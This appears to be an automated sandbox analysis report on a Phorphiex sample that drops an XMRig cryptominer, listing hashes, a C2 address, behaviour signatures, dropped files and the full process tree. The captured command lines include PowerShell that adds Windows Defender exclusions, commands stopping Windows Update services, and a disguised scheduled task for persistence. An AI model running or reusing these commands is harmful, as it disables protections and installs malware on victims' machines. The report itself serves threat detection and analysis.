Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/10/2024, 15:50

General

  • Target

    c78dbe4a72a670d787589eaa994436b1da205496d11f8f9340cedaccd5f8e930.exe

  • Size

    10KB

  • MD5

    4d37cb18a3c14fa5e1fb8b26f47668e3

  • SHA1

    f91f72827a2d6182456edbe8c238af6fce99740b

  • SHA256

    c78dbe4a72a670d787589eaa994436b1da205496d11f8f9340cedaccd5f8e930

  • SHA512

    ebdca8a260f6e52402cc0be3a51501525fbbf64175933c644bbed976e3a7361db82b9554ec6d2ac837f6af7f2e537f59f3e3eec303e97d8130d4d7845298801a

  • SSDEEP

    96:3fojha3Igz0s0Dmmsamy8uQdS0nDoy9+tQcMGW0fflbWn1JxGET832qh9C7tCE1V:3fsha3Jkt58Z9+6cM4W1JxTT83thu1V

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.84

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex family
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3452
      • C:\Users\Admin\AppData\Local\Temp\c78dbe4a72a670d787589eaa994436b1da205496d11f8f9340cedaccd5f8e930.exe
        "C:\Users\Admin\AppData\Local\Temp\c78dbe4a72a670d787589eaa994436b1da205496d11f8f9340cedaccd5f8e930.exe"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:544
        • C:\Users\Admin\AppData\Local\Temp\3021.scr
          "C:\Users\Admin\AppData\Local\Temp\3021.scr" /S
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1848
          • C:\Windows\sysppvrdnvs.exe
            C:\Windows\sysppvrdnvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1964
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:228
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2268
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1688
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1808
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2508
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3660
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1628
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS /wait
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1624
            • C:\Users\Admin\AppData\Local\Temp\937617114.exe
              C:\Users\Admin\AppData\Local\Temp\937617114.exe
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4948
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:968
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                    PID:3660
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2232
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                      PID:2240
                • C:\Users\Admin\AppData\Local\Temp\186018530.exe
                  C:\Users\Admin\AppData\Local\Temp\186018530.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1620
                • C:\Users\Admin\AppData\Local\Temp\1684932921.exe
                  C:\Users\Admin\AppData\Local\Temp\1684932921.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3216
                  • C:\Users\Admin\AppData\Local\Temp\2848626297.exe
                    C:\Users\Admin\AppData\Local\Temp\2848626297.exe
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3284
                • C:\Users\Admin\AppData\Local\Temp\2055424237.exe
                  C:\Users\Admin\AppData\Local\Temp\2055424237.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1100
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2700
          • C:\Windows\System32\schtasks.exe
            C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
            2⤵
              PID:4624
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3976
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:4928
              • C:\Windows\System32\dwm.exe
                C:\Windows\System32\dwm.exe
                2⤵
                  PID:1760
              • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                1⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2428

              Network

                    MITRE ATT&CK Enterprise v15

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                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                      Filesize

                      3KB

                      MD5

                      fee026663fcb662152188784794028ee

                      SHA1

                      3c02a26a9cb16648fad85c6477b68ced3cb0cb45

                      SHA256

                      dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b

                      SHA512

                      7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ZA7RG4JF\1[1]

                      Filesize

                      108KB

                      MD5

                      1fcb78fb6cf9720e9d9494c42142d885

                      SHA1

                      fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

                      SHA256

                      84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

                      SHA512

                      cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      18KB

                      MD5

                      39b98ecba5e718db93b0767fd0dd0cf0

                      SHA1

                      a2babf13a2e74c3f57751566c4e7da9bc9151ca1

                      SHA256

                      1b92be5c8aa1b397e241dbbd495c5d49121199f0917a0a4996973efc2cd422d7

                      SHA512

                      00f68ffd758fb5881389c25c344ea675d598d125057c2b1316fbd01acbe0359f09b32efb582f16f2ea7eb0af514ce08228c19b73418edf1a4c9d140562b3d83b

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      1KB

                      MD5

                      d95b08252ed624f6d91b46523f110f29

                      SHA1

                      17577997bc1fb5d3fbe59be84013165534415dc3

                      SHA256

                      342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02

                      SHA512

                      0c4288176d56f4ee6d8f08f568fba07ad859f50a395c39d2afd3baf55d3d29ca065a1ce305d1bd790477c35977c0ffa230543e805622f80a77bcee71b24eb257

                    • C:\Users\Admin\AppData\Local\Temp\1684932921.exe

                      Filesize

                      10KB

                      MD5

                      96509ab828867d81c1693b614b22f41d

                      SHA1

                      c5f82005dbda43cedd86708cc5fc3635a781a67e

                      SHA256

                      a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

                      SHA512

                      ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

                    • C:\Users\Admin\AppData\Local\Temp\186018530.exe

                      Filesize

                      15KB

                      MD5

                      0c37ee292fec32dba0420e6c94224e28

                      SHA1

                      012cbdddaddab319a4b3ae2968b42950e929c46b

                      SHA256

                      981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

                      SHA512

                      2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

                    • C:\Users\Admin\AppData\Local\Temp\2055424237.exe

                      Filesize

                      13KB

                      MD5

                      5a0d146f7a911e98da8cc3c6de8acabf

                      SHA1

                      4ec56b14a08c897a5e9e85f5545b6c976a0be3c1

                      SHA256

                      bf61e77b7c49ce3346a28d8bc084c210618ea6ec5f3cfa9ae8f4aa4d64e145f1

                      SHA512

                      6d1526a5f467535d51b7f9b3a7af2d54512526e2523e3048082277b83b6e1a1f0d7e3c617405898f240ae84a16163bc47886d8541a016b31c51dfadf9da713e1

                    • C:\Users\Admin\AppData\Local\Temp\2848626297.exe

                      Filesize

                      5.6MB

                      MD5

                      13b26b2c7048a92d6a843c1302618fad

                      SHA1

                      89c2dfc01ac12ef2704c7669844ec69f1700c1ca

                      SHA256

                      1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

                      SHA512

                      d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

                    • C:\Users\Admin\AppData\Local\Temp\3021.scr

                      Filesize

                      83KB

                      MD5

                      06560b5e92d704395bc6dae58bc7e794

                      SHA1

                      fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

                      SHA256

                      9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

                      SHA512

                      b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

                    • C:\Users\Admin\AppData\Local\Temp\937617114.exe

                      Filesize

                      8KB

                      MD5

                      cb8420e681f68db1bad5ed24e7b22114

                      SHA1

                      416fc65d538d3622f5ca71c667a11df88a927c31

                      SHA256

                      5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

                      SHA512

                      baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1q2tg5e.xxt.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • memory/1760-139-0x00007FF6C30D0000-0x00007FF6C38BF000-memory.dmp

                      Filesize

                      7.9MB

                    • memory/1760-133-0x000002028DE20000-0x000002028DE40000-memory.dmp

                      Filesize

                      128KB

                    • memory/1760-135-0x00007FF6C30D0000-0x00007FF6C38BF000-memory.dmp

                      Filesize

                      7.9MB

                    • memory/1760-137-0x00007FF6C30D0000-0x00007FF6C38BF000-memory.dmp

                      Filesize

                      7.9MB

                    • memory/1760-142-0x00007FF6C30D0000-0x00007FF6C38BF000-memory.dmp

                      Filesize

                      7.9MB

                    • memory/1760-144-0x00007FF6C30D0000-0x00007FF6C38BF000-memory.dmp

                      Filesize

                      7.9MB

                    • memory/1760-146-0x00007FF6C30D0000-0x00007FF6C38BF000-memory.dmp

                      Filesize

                      7.9MB

                    • memory/2268-31-0x000000006FE80000-0x000000006FECC000-memory.dmp

                      Filesize

                      304KB

                    • memory/2268-42-0x0000000007800000-0x00000000078A3000-memory.dmp

                      Filesize

                      652KB

                    • memory/2268-49-0x0000000007B80000-0x0000000007B94000-memory.dmp

                      Filesize

                      80KB

                    • memory/2268-50-0x0000000007C70000-0x0000000007C8A000-memory.dmp

                      Filesize

                      104KB

                    • memory/2268-51-0x0000000007C50000-0x0000000007C58000-memory.dmp

                      Filesize

                      32KB

                    • memory/2268-47-0x0000000007B40000-0x0000000007B51000-memory.dmp

                      Filesize

                      68KB

                    • memory/2268-46-0x0000000007BB0000-0x0000000007C46000-memory.dmp

                      Filesize

                      600KB

                    • memory/2268-13-0x0000000003020000-0x0000000003056000-memory.dmp

                      Filesize

                      216KB

                    • memory/2268-45-0x00000000079B0000-0x00000000079BA000-memory.dmp

                      Filesize

                      40KB

                    • memory/2268-44-0x0000000007930000-0x000000000794A000-memory.dmp

                      Filesize

                      104KB

                    • memory/2268-43-0x0000000007FE0000-0x000000000865A000-memory.dmp

                      Filesize

                      6.5MB

                    • memory/2268-15-0x0000000005660000-0x0000000005682000-memory.dmp

                      Filesize

                      136KB

                    • memory/2268-16-0x0000000005F40000-0x0000000005FA6000-memory.dmp

                      Filesize

                      408KB

                    • memory/2268-41-0x00000000077E0000-0x00000000077FE000-memory.dmp

                      Filesize

                      120KB

                    • memory/2268-17-0x0000000005FB0000-0x0000000006016000-memory.dmp

                      Filesize

                      408KB

                    • memory/2268-30-0x0000000006BF0000-0x0000000006C22000-memory.dmp

                      Filesize

                      200KB

                    • memory/2268-29-0x0000000006640000-0x000000000668C000-memory.dmp

                      Filesize

                      304KB

                    • memory/2268-28-0x0000000006600000-0x000000000661E000-memory.dmp

                      Filesize

                      120KB

                    • memory/2268-14-0x0000000005810000-0x0000000005E38000-memory.dmp

                      Filesize

                      6.2MB

                    • memory/2268-48-0x0000000007B70000-0x0000000007B7E000-memory.dmp

                      Filesize

                      56KB

                    • memory/2268-27-0x0000000006120000-0x0000000006474000-memory.dmp

                      Filesize

                      3.3MB

                    • memory/2428-132-0x00007FF6DB710000-0x00007FF6DBCA7000-memory.dmp

                      Filesize

                      5.6MB

                    • memory/2700-99-0x000001D8A9310000-0x000001D8A9332000-memory.dmp

                      Filesize

                      136KB

                    • memory/3284-114-0x00007FF6159E0000-0x00007FF615F77000-memory.dmp

                      Filesize

                      5.6MB

                    • memory/4928-134-0x00007FF770020000-0x00007FF770049000-memory.dmp

                      Filesize

                      164KB

                    • memory/4928-136-0x00007FF770020000-0x00007FF770049000-memory.dmp

                      Filesize

                      164KB

                    • memory/4948-71-0x0000000000A20000-0x0000000000A26000-memory.dmp

                      Filesize

                      24KB